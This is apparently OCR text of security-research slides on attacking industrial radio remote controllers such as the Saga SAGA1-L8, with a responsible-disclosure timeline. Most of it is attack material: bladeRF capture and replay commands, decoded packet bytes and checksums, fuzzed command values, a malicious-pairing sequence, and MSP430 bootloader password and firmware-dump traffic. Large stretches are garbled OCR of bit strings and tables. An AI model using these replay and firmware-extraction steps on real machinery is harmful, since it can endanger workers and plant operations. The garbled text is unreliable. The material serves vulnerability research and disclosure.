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Responsible Disclosure LRI e
e 7Dl contacts with vendors via email / web-forms
e 5 business days? ZDI contacts with vendors by phone / intermediary
15 business days? Public advisory

e 120 days Security patches and mitigations

* Extensions Depends

* Transparency Enforced

e RF/IloT/lloT needs more time to deploy patches
e Certification is necessary in some sectors*
e Collaboration = Win-win
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Industrial Remote Controllers?
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For the sake of security ...
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Output diodes are internal in L293D.

Sample functional block diagram (courtesy of Texas
Instruments). http://www.ti.com/lit/ds/symlink/I293.pdf



http://www.ti.com/lit/ds/symlink/l293.pdf

FCC ID NCTSAGA1-L8

NCT-SAGA1-L8, NCT SAGA1L8, NCTSAGA1-L8, NCTSAGAI-L8, NCTS5AGA1-L8

Gain Electronic Co Ltd Transmitter SAGA1-L8

FCCID » Gain Electronic Co Ltd » SAGA1-L8

An FCC ID is the product ID assigned by the FCC to identify wireless products ir
the product. For example, the grantee code for FCC ID: NCTSAGA1-L8 is NCT.
they can be random. These letters are chosen by the applicant. In addition to the
results for wireless devices. They can be under the "exhibits" tab below.

Purchase on Amazon: Transmitter

Application: Transmitter

Equipment Class: DSC - Part 15 Security/Remote Control Transmitter

View FCC ID on FCC.gov: NCTSAGA1-L8

Registered By: Gain Electronic Co Ltd - NCT (Taiwan)

Document

manual

report

test setup photos

schematics 4

schematics 3

schematics 2

schematics 1

operational description

internal photos

label location

label sample

external photos

Type

Users Manual
Adobe Acrobat PDF (174 kB)

Test Report
Adobe Acrobat PDF (2289 kB)

Test Setup Photos
Adobe Acrobat PDF (84 kB)

Schematics
JPEG Image (226 kB)

Schematics
JPEG Image (209 kB)

Schematics
JPEG Image (183 kB)

Schematics
JPEG Image (188 kB)

Operational Description
Adobe Acrobat PDF (12 kB)

Internal Photos
Adobe Acrobat PDF (1687 kB)

ID Label/Location Info
Adobe Acrobat PDF (45 kB)

ID Label/Location Info
Adobe Acrobat PDF (21 kB)

External Photos
Adobe Acrobat PDF (547 kB)
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BladeRF x115

Special thanks to - .
Robert Ghilduta!

Audio

trum to tune. Drag and scroll X and ¥ axes f




RECORDING

bladerf> set frequency rx 438M
bladerf> set samplerate rx 10M
bladerf> set bandwidth 2.5M
bladerf> set Inagain 0

bladerf> set rxvga2 O

bladerf> print

REPLAYING @WE'&'B research

bladerf> set frequency tx 438M

bladerf> set samplerate tx 10M

bladerf> set bandwidth 2.5M

bladerf> set txvgal -10

bladerf> tx config file=saga-I8h-1.sc16qg11
format=bin

bladerf> rx config file=saga-18h-1.sc16g11 bladerf> tx start
format=bin n=40m
bladerf> rx start; rx wait




Units underTest . Fmee

« SAGA1-L8B € PATCHED!

* Juuko JK-800

e Circuit Design CDT-TX-02M / CDT-RX-02M
* ELCA: P Series

* Autec: Air and Dynamic series

* H %I € working with DHS, ICS-CERT and the company
e Telecrane F25
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FCCID: NCTSAGA1LS

SYNC ID-CODE COMMAND SUM SYNC
| |
I
SYNC
character 16 bits Action commands 72
Bits with HAMMING
ENCODED
Security ID-CODE Check SUM
48 bits with HAMMING 8 bits with
ENCODED HAMMING
ENCODED

TOTAL DATA LENGTH= 144 bits

A 8
BINARY 1010 1000
HAMMING CODE (8,4,4) 10100101 10010110

Packet structure and encoding according to the Saga technical
documentation.https://fccid.io/NCTSAGA1-L8/Schematics/schematics-4-
273419



https://fccid.io/NCTSAGA1-L8/Schematics/schematics-4-273419
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Huh?
Hamming?
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Interpretation = Analysls Generator

1: Complex Signal ® e o |
's(arl—rO ‘
Nolse: 0.1000 |
Center: |-0.0169 o
Bit Length: 240| 2
Error Tolerance: |10 ;l
Modulation: FSK 2

% Autodetect parameters (

|

i 5636 selected 2.82ms RSSI: 1.170

060000000000000060000006000000000000000000000000000000000000000000000000 F N IS N CICIFTICEIEIE1100110011001100110011001100110010101010161100161101016011¢€
00110011001100110011661160116011001010101011001010110011601010161010110101010010101011010101001010101011601100110011001100110011601160161601016161100101]

Thank you! -
) W (WM https://github.com/jopohl/urh




Flle Edit Help

¢

Name Size

Interpretation Analysis Generator

1: Complex Signal © 0 9

& 6100 selected 3.05ms RSSI: 0.246

11111111111168000680601111111111 [Pause: 929325 samples)

Universal Radio Hacker [/home/alice/sagazm]

up
Nolse: 0.0474 o
nte: 0.0000 -
Error Tolerance: 10 g
Modulation: FSK H
 Autodetect parameters
Signal View: o :

v Show Signal as | Bits

2: Complex Signal ® 0 0

north

North

Bit Length:
Error Tolerance: |10 "
Modulation: FSK -

 Autodetect parameters

Signal View: Demodulatec

§ v showsignalas |eas -

Thank you! f5=

URH Team!

3: Complex Signal © 0 0

down

0.0474 W
¢ -
Bit Length: 240 9
Error Tolerance: |10 2
Modulation: FSK )

A Autodetect parameters

signal View: Demodulatec

 Show Signal as | Bits -

4: Complex Signal ® o0 0

0.0474

olerance: |10 o
ation: FSK H

Autodetect parameters

View: Demodulatec

& 6806 selected 3.40ms RSSI0.233

B PN 1661100116611061160110611601616161016116010116101661160161616161166116160161611616611661016116010161611616611016616
119011901198119019119910110]9100118911901019191911819199119!919919]9101IGISXGIBB!G]B!G]1910191081010101011001100119011801190]180119911091919]91919!189!91191819011091019101911091101891819110199110918101100191810119
160110166101166116611661166101106161161016011601100161616161161616011616160161616116101616016161611616101601616161611601166116011661168116611661160161610161611661611016160116016101616116011016016161101661160161611
001010101101081101601011601100110011001611661011010100110011601010101611010160110101601016101101010160101610116101010010101010110011001100116011001100110011601010101010116010116101601100101010161166110160101011016

Y-Scale

7 Filter (moving average)

A R D T §10011001100110011601100116011001010101610110016116101068116010101016110011016010101101001160161011601610101101001101060101
1010016110166161160116611661160116011601610101616116166116166161616161161616166161016110616161661010161611601160116011601160116611601166101616161611661611616166116616161016116011616016161161601160161611601616161161
£01101601011018010110160101160110011601100116011001010161010110160116100101010101101010160101610110101016010161010116011001160110011601160116011001610101016116010110101601160101010161160110100101011016011661010110

ATA1AT1ATIATARTIATAAIATIATAATATIATAAIATIAAT1AAT1AAT 1AAT1AAT 1AAIATATATATATIATAAT 1ATAATATATATATIATATATARTATATATIATATIATARIATATATAT1ART 1AAT1AAT 1AAT 1AAT 1AAT1AAT 1AATATATATATAT 1ARTAT 1ATATAAT 1AATATATATAT 1ART 1ATAATATAT 1AT1AR

Y-Scale

7 Filter (maving average)

A11AATATATIARTATATATIATAATIATAATATIAATIAATIAAT1AAIATIAATATIATATAAT 1AAT1AAIATATATATIATATIAAT 1ATATAATATATATIATATATAATATAIATIATATATARTATATATATIAAT 1AAT 1AAT 1AAT 1AA11AAT 1AA1 1AA1ATATATATAT1ARTATIATATAAT 1ARTATATATAT 1AAT 1AY

& 4465 selected 223 ms RSSL 0.346

& 3975 selected 1.99ms RSSL 0.254

1601160101010161160116611601166116011066101010161610116016101160161016110101610010101611016101601010101611601160116011661160116611601108101610161011601011010100116016101010110011610616101101001160161611601610101101
AA11A1ARIATIARTIAAIAIAIAIATIAATIANTIAATIAATIANTIARIAIAIATIAIAIALIAAIATALIAAIAIAIATIAIATIAIAAIAIAIATIAIAIAIARIAIATAIALIARI AR 1AATIANT1ART1AAT1ART1ARIAIAIATATATIARIATIAIATAALIARIAIAIATATIARIIAIAAIATATIAIAATIAAIAIATIA

A S I 1016101100116011601100116011001160110010101016101160161101016011601016101611601101601010116100116016161160161616110100116168161

Y-Scale

7 Filter (moving average)

SN0 1616110011661160116011061166116011001616101616116016116161601100161616161160110166161611016011661610110016161611610611016016
101100101101010011001160116011601160116010101016110101001101010010101011010101091010101101010100101010101100110011601160110011001160116010101010101100161101016011001010101011001101601010110100116016101100101010110
160110106101611601011010160116011601166110011601166161610161101610011016160101016110101610016101611010101601610101611601160116011661160116011601106161016161011601611010160116016161016116011616616161161601166161011
£01010101101001101601010116010110101001100110011601160110011001010101611010160110101001010101101010169101010110101010910101010110011001109116011001100110011601010101010110010110101001160101010161100110160101011010
611091010116010161611016011616916161160101161616011601160116011661160116010101016116161601161610616161611016101061616101161610106161016101100110611601160116611001160116010161610101160101161016611601610161611661161

Y-Scale

7 Filter (moving average)



FCC schematics of the SAGA radio controller. VCC

https://fccid.io/NCTSAGAN-L8/Schematics/schematics-4-273419 : RS/ (g;ﬁu‘;:r;;lg~ | researdh
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https://fccid.io/NCTSAGA1-L8/Schematics/schematics-4-273419
https://www.infineon.com/dgdl/Infineon-TDK5101F-DS-v01_03-EN.pdf

Logical Analyzer: ZeroPlus LAP-C (16032) @Y IREND | research

A §
. \ '—',J , 14.843731ms ~ 16.558235ms | 18.272858ms =~ 13.987422ms = 21.701385ms | 23.416543ms =~ 25.131113ms =~ 26.845676ms =~ 28.56024ms 3|U.2?48|U!|;r

£

Special thanks to ZeroPlus!




1. vim

bash @ 1 vim 82 IPython: ftr/Indus... @ 83 bash @ 84 bash @ 85

iN01010100101010110101010100110011001100110011001100110011010101010100110100101011001101010101001100101101010010110011010100110101010010110010110 {)xEsLsNMERIwkzk 7k RT7 1) R 71N Mok M ok o 17 ) UL ML LR R R 1o MU N0 R LR L NN X L N LN L
101010010101011010101010011001100110011001100110011001101010101010011010010101100110101010100110010110101001011001101010011010101001011001011 0 {2JKaLsxME NIk 5k L%k 8717 U717 M L kML 5IoN 717 LR L LR oR Lo N L L LN L o N L L L
01010100101010110101010100110011001100110011001100110011010101010100110100101011001101010101001100101101010010110011010100110101010010110010110 1 /2 xswNMRsxT,1x %)) [s x50k 0% b 71X Rl 1ML Moo oL LN L L Mo o o R X L N LN L R LN LN o
010101001010101101010101001100110011001100110011001100110101010101001101001010110011010101010011001011010100101100110101001101010100101100101 101 {%slsxRT7xKs1k 7k T7 17N Moo R ML) b0k RN R LN MR NN N R R X N N R LN N N
010101001010101101010101001100110011001100110011001100110101010101001101001010110011010101010011001011010100101100110101001101010100101100101 101 /7okMRsNT71x %)) x {10k 510k b7 1) bl 1ML N Moo oL Lo L L oM ok o X L N LN L R LM oM o
01010100101010110101010100110011001100110011001100110011010101010100110100101011001101010101001100101101010010110011010100110101010010110010110 1 {ZslsxR7xKs1k 7k 17N Moo xR )b Tok MR LN MR XML N L N R R L X N N R LN N N

010101001010101101010101001100110011001100110011001100110101010101001101001010110011010101010011001011010100101100110101001101010100101100101 101 N5 AN
010101001010101101010101001100110011001100110011001100110101010101001101001010110011010101010011001011010100101100110101001101010100101100101101 8L LXKY
0101010010101011010101010011001100110011001100110011001101010101010011010010101100110101010100110010110101001011001101010011010101001011001011015N5 sk} [1 1010110101010010101011
010101001010101101010101001100110011001100110011001100110101010101001101001010110011010101010011001011010100101100110101001101010100101100101101%” M a n c este r

0101010010101011010101010011001100110011001100110011001101010101010011010010101100110101010100110010110101001011001101010011010101001011001011011%%, e n co d i n ' 100110101010010101011
0101010010101011010101010011001100110011001100110011001101010101010011010010101100110101010100110010110101001011001101010011010101001011001011014% E; . $501100110101010010101011
010101001010101101010101001100110011001100110011001100110101010101001101001010110011010101010011001011010100101100110101001101010100101100101101/75 10101001100110101010010101011
010101001010101101010101001100110011001100110011001100110101010101001101001010110011010101010011001011010100101100110101001101010100101100101101sxN{s 7 7010101001100110101010010101011
010101001010101101010101001100110011001100110011001100110101010101001101001010110011010101010011001011010100101100110101001101010100101100101101 /XML 7.10101010101010101001100110101010010101011
01010100101010110101010100110011001100110011001100110011010101010100110100101011001101010101001100101101010010110011010100110101010010110010110 17 skkLs/x 1‘3011@@110011001J.uua..a.uUJ.1001101010101@101010100110011@1010100101@1011
010l@10010101011010101010011001100ll@@l10011001100ll@@11010101010100110100101011001l@101010100110010110101001011001l@101001101010100101100101101901‘@ 1001100110011001100110011001100110101010101010101001100110101010010101011
010101001010101101010101001100110011001100110011001100110101010101001101001010110011010101010011001011010100101100110101001101010100101100101101 /5 uaNslux 17717 Lok 10k b7 1) bl 1ML LN LN oMo L L L LN ML N Lo e N L L L R R N o
010101001010101101010101001100110011001100110011001100110101010101001101001010110011010101010011001011010100101100110101001101010100101100101 10 1{2zNMEsl X RR7Iok R[5 7 17N Moo N ML) R7 1ok ML R U7 LN ML N L Moo N LML o o R L X NN LR LN N N
010101001010101101010101001100110011001100110011001100110101010101001101001010110011010101010011001011010100101100110101001101010100101100101101 /5 uMRlux 817k 7 1)L LIok 510k b7 17 b L1 ML LN Lo N oMo L L L L ML N Lo e N L L LR R N o
010101001010101101010101001100110011001100110011001100110101010101001101001010110011010101010011001011010100101100110101001101010100101100101 1017 sNMRwx8s1x k717N M L5Iok 510k k71X bl 1ML N Moo oL L LN LML Mo Lo X L N LN L R LN LN o
010101001010101101010101001100110011001100110011001100110101010101001101001010110011010101010011001011010100101100110101001101010100101100101 101 /5uMRlux 1k 7 1%Lk 10k 8717 bl 1 ML N LN RN L L L LN Mo b Lo e N L L LR R N o
01010100101010110101010100110011001100110011001100110011010101010100110100101011001101010101001100101101010010110011010100110101010010110010110 15 sxMRux8,1x k717N L5lok 510k b7 1) bl 1Mo Moo 0N LU LN LML Mo Lo X L N LN L R LR LN o
01010100101010110101010100110011001100110011001100110011010101010100110100101011001101010101001100101101010010110011010100110101010010110010110 1[5 zNMKslxRRsIk N5l 7 17N MLoo R ML) b0k ML R LN MR LN 0N NN LN TN M X N N R LN N N
01010100101010110101010100110011001100110011001100110011010101010100110100101011001101010101001100101101010010110011010100110101010010110010110 15 sxMRluk 81X 715N LIok 510k b7 1) bl 1ML N Moo oL L LN LML Mo Lo X L N LN L R LR Lok o
01010100101010110101010100110011001100110011001100110011010101010100110100101011001101010101001100101101010010110011010100110101010010110010110 1[4 %NMEslxRRsILk N[k 17 N Moo R ML) b0k R LN MR LN M NN LN R X N N L N N
010101001010101101010101001100110011001100110011001100110101010101001101001010110011010101010011001011010100101100110101001101010100101100101 101 5 sxMRssk Ik 515N {5lok 510k b7 1) bl 1Mo N Moo oL L L LML ML o o Lo X L N LN L R LN LN o
010101001010101101010101001100110011001100110011001100110101010101001101001010110011010101010011001011010100101100110101001101010100101100101 10 1[4 zuMEslxRRsIk N[ 17 Moo R ML) b0k R LN MR LR U N LR LN L M X NN R LN N N
01010100101010110101010100110011001100

010101001010101101010101001100110011001100110011001100110101010101001101001010110011010101010011001011010100101100110101001101010100101100101 101 /5swksxT71x %)) 15N {[ok 5 0% k517X b L LML Lo N oMo oL L L KoM oo N L N LN LR LM LN o R
010101001010101101010101001100110011001100110011001100110101010101001101001010110011010101010011001011010100101100110101001101010100101100101101{ZNslsNR N7k 7k7xRT7 1N MLo7RMT Xk ok xRN MR NN RN R R R X NN R LN N N
010101001010101101010101001100110011001100110011001100110101010101001101001010110011010101010011001011010100101100110101001101010100101100101 101 /ZNswkMRsxT71x %75 [5x M L5Iok 510k b7 1) bl 1ML N Moo oL Lo L LN oM oMo N L N LN L RN oM o
01010100101010110101010100110011001100110011001100110011010101010100110100101011001101010101001100101101010010110011010100110101010010110010110 1 {ZNslsNRXX71Lk 7k 1N MLo RN )Mok xRN MR RN R R N N N R LN N N

010101001010101101010101001100110011001100110011001100110101010101001101001010110011010101010011001011010100101100110101001101010100101100101101{2Nsl5xRNR7 1ok zk xR 7 1N MLo kML )b 1ok ML R U7 LN MR R LMoo L R N ok LR N NN LR LN N N
010101001010101101010101001100110011001100110011001100110101010101001101001010110011010101010011001011010100101100110101001101010100101100101 101 /NwNRsxT%1x 777N LIok 510k k717Xl ML LN LN RN L L LK NN N o N L LN LR R LN o
010101001010101101010101001100110011001100110011001100110101010101001101001010110011010101010011001011010100101100110101001101010100101100101 10175 oNEsNT71X XLl N Mook M50k b7 1) R LMo Moo oML LN L LMo o N R X N LN L R LR LN o
010101001010101101010101001100110011001100110011001100110101010101001101001010110011010101010011001011010100101100110101001101010100101100101 101 /5uRelux L7871 L[ Lok 0% b7 17 b L1 ML Mo N RN L L ML b Lo e e L L LR R N o
01010100101010110101010100110011001100110011001100110011010101010100110100101011001101010101001100101101010010110011010100110101010010110010110 17 sNMRux 81X k1[N L5Iok 510k b7 1) R 1Mo Moo 00N U LN LN Mo Lo R X L N LN L R LN LN o
010101001010101101010101001100110011001100110011001100110101010101001101001010110011010101010011001011010100101100110101001101010100101100101 101 {5lxxMEeivx MR,k 8717717 LN MLoN b2 1ok L7 b UL ML LoN NN N LN LN L o N X P L R Eee
[fsk-down.pkt] [unix,utf-8,] [Position=1,225,20%]




Serial No: A116352A

Begin of Packet:

o
@) TREND  roseardh

OF 05 55 50 27 41 63 44 36 (Device #1 — A116 352A) Device ID XOR = 0x77
OF 05 55 50 27 41 11 50 27 (Device #2 — A116 3D18) Device ID XOR = 0x00
FO 05 55 50 27 41 63 44 36 55 50 50 11 OF (pairing)

Reset

Start

Up

Down

East

West

South

North

End of Packet (EOP)
Up (long press)
Up (short press)

Down (long press)

55505011
55554114
66 55 50 36
27555077
50555011
44 55 50 14
5566 50 36
55275077
55555005
66 55 50 36
66 55 50 36
27 555077

0x44
0x55
0x55
0x55
0x44
0x55
0x55
0x55
0x55
0x55
0x55
0x55

Similar to East

Similar to South

Similar to North

Identical to Up
Identical to Up
Identical to Down




TREND. resear;c(1
Packet Construction B |
e (OF0555502741634436

>>> hex(0x27 » 0x41 "~ 0x63 ~ 0x44 ~ 0x36)
'0x77’
* The packet repeats themselves every 112 bits,

different from the manual ©

1.00 00 00 OF 05 55 50 27 41 63 44 36 55 55 41 14 (Start) 37 packets + 18 EOP, wait 1 sec.
2.00 00 00 OF OF 05 55 50 27 41 63 44 36 66 55 50 36 (Up) 12 packets + 18 EOP, wait 1 sec.
3.00 00 00 OF OF 05 55 50 27 41 63 44 36 66 55 50 36 (Up) 12 packets + 18 EOP, wait 1 sec.
4.00 00 00 OF OF 05 55 50 27 41 63 44 36 66 55 50 36 (Up) 12 packets + 18 EOP, wait 1 sec.
5.00 00 00 OF OF 05 55 50 27 41 63 44 36 55 50 50 11 (Reset) 10 packets
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Bl Gallery View 3%

* o

Federico Maggl

Al TW Taipel A1202 (6)

' ~ =) ~ ‘D

Stop Video wattn Participants




. [ Modulation - E
Packet Fuzzing (1) e :
Frequency: | 20.360K o
Phase: | 0.000° | :J

Data (raw bits) +

10101010 ]EIJ

sample ot

Modulation

| Frequency Shift Keying (FSK) E
Frequencyforo: 190000k [J]
Frequencyfor 1: [19.0000 [J

Samples in View: 2103
Samples selected: 0

Original Signal (drag&drop)

I~

1(A)

2(A)

3(A)

4(A)

BN O EEN O

3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28

- —h =h =h N

C (10101010)

<G - / -
Samples in View: -
Samples selected: 0

[ Save and Close




Packet Fuzzing (2)

 (x1 XOR x2 XOR x3 XOR x4) ==55, AA, 95, B5, D5
| don't really know why they are accepted...

Fuzzed Key
UP

DOWN
DOWN

Pattern

66 55 50 xx
27 55 50 xx
27 55 xx 77

<
) TREND. | research

Accepted Values (red = original)
36, B6, C9, CA, D6, F6

77,87, 88, 89, 8F, 97, B7, F7

50, 90, A0, A8, AC, AE, AF, BO, DO




Packet Fuzzing (3)

e Can we change the ID-Code?

* Notreally ...

Fuzzed ID
27416344

Checksum XOR

41
50
63
72
05
14
27
C9
40
44

00
11
22
33
44
55
66

88 F
01 ¢
05

ID-Code

A1163523
A1163521
A1163525
A1163527
A116352E
A116352C
A1163528
A11635ER <F
Radio Error <f
A1163522

e
@ YREND. | research

RIC INFORMATION

Model : ISAGA1_L8 ID-Code :|A116352A

R/C INFORMATION
: |SAGA1_L8 . |A11635IER
READ RIC Model ID-Code
COM PORT |com3 |
WRITE R/C START KEY FUNCTION
INormaI j
SAGA1-L Message X
N
N te Setting{Enable q
€9 --ERROR SERIAL-NUMBER== e ‘| Stat-Pushbutton /Key |
R FUNCTION
itel = : INon-Continuous j
:IDisable |
iterlock) ;I Led-On/Off Jon ~|
Led-Off-Time :[1.0 | sec




H e resear;c(w
Malicious Pairing (Default = Disabled ©) C R |

e Press STOP and lock it
e Press DOWN and don’t release it
e Press UP and release it for 4 times

RECORDING REPLAYING

bladerf> set frequency rx 438M bladerf> set frequency tx 320.73M

bladerf> set samplerate rx 10M bladerf> set samplerate tx 10M

bladerf> set bandwidth 2.5M bladerf> set bandwidth 2.5M

bladerf> set Inagain 0 bladerf> set txvgal -10

bladerf> set rxvga2 0 bladerf> tx config file=saga-I18h-1.sc16q11 format=bin
bladerf> print bladerf> tx start

bladerf> rx config file=saga-18h-1.sc16q11 format=bin

n=40m

bladerf> rx start; rx wait ~—




. () TREND. 2
Firmware ... How? 2 i

"B FET-Pro430 (FET MSP430 Flash Pragrammer) - Elprotronic Inc. — »
° JTAG File View Setup Serialization Tools About/Help
Open Code File > | I path: I — Blow Security Fuse
[ ) SBW (2_ ) - ™ Enable
WI re SN File I — Power Device from Adapter D BLOW FLUSE
— Microcontroller Type —Status——————————— m Device
_ — Device Action——————————
o [ WPaF e <1 [~ il Volage W P Bt
PowER ON/OFF | [
|MSP43OF11018 v _ ¥ Enable Blank Check
Tota | RESET | [ooov
Target: I MSP430G2553 Balance: I 0 |:| AUTO PROG. |
—Check Sum————
BSL: L2 I
I ver, 2.03 St I— [%] Werify Security Fuse |
— Selected Device Information
RAM - 128 bytes;  FLASH - 1kEB; Memory: I |:| |:| ERASE FLASH |
Repaort
£ '~ [ Device Serialization |:| BLAME CHECK |
JTAG communication initialization.... failed I
erifying Security Fuse ... failed
--------------- FAILED 11 : [0  wRITEFLASH |
I tead SH
JTAG communication initialization. .. failed Next Model-Group-Revision: |:| WHRITE SH / Model |
erifying Secunty Fuse ... failed B
............... || ——————————
FAILED 11 | [  VERIFYFLasH |
JTAG communication initialization.... failed Mext SH IDDDDDI:II:II:I
erifying Security Fuse ... failed et o] READ / COPY
_______________ FAILED 11 woooeeeoseoo “ Format: 1234 O | I
Fart: USE Automatic Eraze / “WWrite memary option:
Spy-Bitwire [2-wires) * Al Memaory * READ /COPY ——
q . [ ’7 MEXT [F5]
(Evaluation Version)




Firmware ... How?

« JTAGY®
« SBW®

"
@ YREND. | research

MSP430 MSP432
G2xx0, F1xx, F5xx, F6xx FR5xx, FR6xx
G2xx1, | F2xx, Cryoto- | FR2x33, | FR413x,
G2xx2, | Faxx, | Non- | g | Eactory PO | FR231x | FR211x | P4OTR
120xx | G2xx3 use loader(?
Pas 32byte | 32byte” | 32 byte | 32 byte 32 byte | 32byte | 256 byte
Mass erase on incorrect password ®) ) v v v v v v v
CompleTety disabte-the-BStUSNg signature or
> | erasing the BSL v/ / / / s /
§ BSL payload encryption v
(]
2 Update of IP protected regions through boot v
code
Authenticated encryption v
Additional security Vel
Source: Texas Instrument (SLAU319R) MSP430™ Flash Device-Bootlpader (BSL)
\‘ —_

oy _“H—‘—x_\ﬁ




Bootstrap Loader!

 Travis Goodspeed @25C3

* PBut...

Practical Attacks against the MSP430 BSL’

[Work in Progress]

Travis Goodspeed
1933 Black Oak Street
Jefferson City, TN, USA
travis@radiantmachines.com

ABSTRACT

This paper presents a side-channel timing attack against the
MSP430 serial bootstrap loader (BSL), extending a theoret-
ical attack with the details reguired for a practical imple-
mentation. Also investigated is the use of voltage glitching
to attack a disabled BSL.

1. SUMMARY

The Texas Instruments MSP430 low-power microcontroller
is used in many medical, industrial, and consumer devices.
It may be programmed by JTAG or a serial bootstrap loader
(BSL) which resides in masked ROM.

Recent versions of the BSL may be disabled by setting a
value in flash memory. When enabled, the BSL is protected
by a 32-byte password. If these access controls are circum-
vented, a device's firmware may be extracted or replaced.

In many versions of the MSP430, a password comparison
routine suffers from unbalanced timing, such that processing

-RST I

TEST .
Normal User Program Begins
____________ -

TEST .
BSL Eatry (BSLBegins

Figure 1: BSL Entry Sequence (Chips w/ Shared
JTAG Pins)

edge of the -RST pin that power on the chip, the BSL begins
to execute instead of the user-defined application program.
For those chips with dedicated JTAG pins, the same se-
quence is the same except that falling edges are sent on the
TCK pin.[4]

he stopped

' =1 [

0.00000 290,000 m
50.0 ne/dlv

Figure 6: 45ns Voltage Glitch

research

) rene

Images by Travis
Goodspeed are
licensed under CC BY-
NC-ND 2.0


https://creativecommons.org/licenses/by-nc-nd/2.0/de/

TREND resear:c(1
So | decided to cheat ... @ mene |

IPI

Rl
GND 30K

v B N e
2 d
1

SIP6-2.0\180 103 —

]

AN
https://fccid.io/NCTSAGA1-L8/Schematics/schematics-4-, 14%
f 1
| AUINA TR AT



https://fccid.io/NCTSAGA1-L8/Schematics/schematics-4-273419

TREND, <
MSP430F1101A BSL YIER. | research
 1KB Bootloader
o After TST/RST
 Passwordis 16 * 2 bytes == IVT
* BSLverl.3

h
358778

TEST (RTS) £ e e e e e R

Figure 2. BSL Entry Sequence at Shared JTAG Pins

RST/NMI (DTR) l i 4

From MSP430 Datasheet (courtesy of Texas Instruments).
http://www.ti.com/lit/ug/slau319t/slau319t.pdf



http://www.ti.com/lit/ug/slau319t/slau319t.pdf

" ZEROPLUS-LAP-32128U-A Standard V3.14.02(CNO01) (S/N:000000-0000) - [SAGA-Write-RC-2]
‘> File Acquisition Analysis View MSO Help

o ¢7 oF || b Db 32K v/ sile 16 | [IMHz MEEA v| % % TrgPgll ¥| Trg Cnt |1 Y.
B i B ~|158.00646. v| X ||| ;
Scale:6.329Hz

Ax B
Bar  Bar B

 IX g (B e o [@ -] % | Heigt [26 <] | TiiggerDela
Focal sample: 3.58778s APo0s-2267ms |v A-T=441112Hz v A-B=33.333KHz
Total length: 7.182112s Display Range:-3.275ms ~ 7.178837s B Pos:-2.237ms v B-T=447.027Hz v Compr-Rate: 219.181
v
Trigger \ g 427.65072ms 1.217683s | 2007715s ~ 2797748s | 3.58778s 4.377812s | 5.167845s

Channel/Bus
¥ A0
¥ Al

W Bus1 (UART)

5.957877s, |, 6.74790% E]!

75379425 ~
Unknown

Unknown

Unknown

Unknown

= Navigator




i
@) TREND  roseardh

A1163D18 (TX) [ RX password | aSSX‘;(OfFEO

TX(UART) 80 (Sync) [ len=32 |
RX(UART) 90 /_

TX(UART) 80 10 24 24 EO FF 20 00 00 FO 98 F4 98 F4 98 F4 98 F4 00 FO 72 F3 00 FO 00 FO 72 F3 00 FO 00 FO 00 FO 00 FO 00 FO 00 FO 9B 34
RX(UART) AO (DATA_NAK) Mass erase should have been disabled.

TX(UART) 80 (Sync) :

RX(UART) 90 (DATA_ACK) /_ [ BSL Password on my device |

TX(UART) 80 10 24 24 EO FF 20 00 00 FO 00 FO 00 FD 00 FD 00 FD 00 FO 00 FA 00 FO 00 FO 00 FA 00 FO 00 FO 00 FO 00 FO 00 FO 00 FO 9B 39
RX(UART) 90 (DATA_ACK)

TX(UART) 80 (Sync)

RX(UART) 90 (DATA_ACK)

TX(UART) 80 14 04 04 80 10 80 00 7B FF (Read from information flash, size = 128 bytes)

RX(UART) 80 00 80 80 EE FO 00 OF 96 3C CCOF 96 16 00 F9 40 1F 00 B8 EF 0A 20200626 000100000101 B8 B8 16 00 5542 80 1055 E2 81
10555282 1055E283105552841055E285105552861055E287 10555288 1055E2FF103041554280105552811055E282
10555283 1055E284105552851055E286105552871055E288105552FE 103041010101 FFFFFFFFFFFFFFE4FEEL1OQO0
TX(UART) 80 (Sync)

RX(UART) 90 (DATA_ACK) \

TX(UART) 80 14 04 04 DO FF OF 00 A4 10 (Read from code flash, size = 15 bytes)

RX(UART) 80 00 OF OF FF FF FF FF FF FF FF FF FF FF FF FF FF 89 04 00 00 FO 00

MSPFet.EXE +r "psw.txt" -BSL COM5




Check Flash Integrity

142 segddd: 0000FO50
143 segddd : DDOOFAS6
144 segddd : DOOOFASA
145 segddd : DOOOFASE
146 segdd0: 00OOFO62
147 segddd : DDOOFO62
148 segdd0d : DDOOFO62
149 segddd: 00OOFO66
150 segddd: DDOOFO6S
151 segddd : DOOOFO6C
152 segddd : DOOOFOGE
153 segddd: 00OOFO74
154 segddd: 0DOOFO78
155 segddd: 0DOAFO7A
156 segddd:0oooFe7C
157 segddd: 0DOOFAs2
158 segddd:dDOOFA8S
159 segddd:d00OFO88
160 segddd:0DOOFA8S
161 segddd: 0DOOFABC
162 segddd: 000OFOD
163 segdd: 00OOFE92
164 segddd : DDOOFA6
165 segddd: 0DOOFA6
166 segddd: DDOOFAI6
167 segddd: DDOOFA6
168 segddd: DDOOFA8
169 segddd: 00OOFA9A
170 segddd : 0OOOFAIC
171 segddd: 00OOFAE

clear_mem_loop:

blink_both_led:

bis.b
clr.b
bis.b
mov. W

#25h, 2Ah
2¢h

#9, 2Eh
#200h, RS

O(RS)

RS

#280h, RS
clear_mem_loop
&290h, 23Ah

)

A
research

) rene

; P2DIR, Output = P2.@ (FSKDATA), P2.2 (RLED), P2.5 (POWER CTL)

; P2IES, rising edge
; P2SEL

; CODE XREF: seg0@:0000FO6CAY]
; Clear memory 200h - 27Fh

; WTF? memory 290h

4 heck_info_sanit

#9, RS
sanity_ok
2, 21h
4, &2%h

#2, &21h
#4, &2%h
RS

#7, R6

RS

local_wait

R6

local_wait
blink_both_led

; P1.1 GLED HI
; P20UT, P2.2 RLED HI

; CODE XREF: seg00@:0000F@IEAY]

; P1.1 GLED blink
3 P20UT, P2.2 blink

P $0 103 5eg000:000010CA

Did not pass sanity check. Blink both LED forever.

Blink both LED until INT

102 seghdd:000010CA check_info_sanity: XREF: segd0:0000F074AYp

XREF: seg0dd:0000F074 Yo
= QEEh
1DEh
1DEh
1EDh
17Bh
1B7h
17Bh
18Ah
11Ch

mov.b
add.b
xor.b
add.b
xor.b
add.b
xor.b
add.b
xor.b
add.b
ret

104 segddd: 000010CA
105 seghdd: 00oo10CE
106 segddd: 00001002
107 segddd: 000010D6
108 seghdd: ddo010DA
109 seg?dd: 00A10DE
110 segddd: 0OOO10E2
111 segdd: 0OOV10ES
112 segddd: 00OO10EA
113 segddd: 000010EE
114 segddd:000010F2

&infoptr, RS

&infoptr+1l, RS
&infoptr+2, RS
&infoptr+3, RS
&infoptr+4, RS
&infoptr+5, RS
&infoptr+6, RS
&infoptr+7, RS
&infoptr+8, RS

Jbyte_10FEES

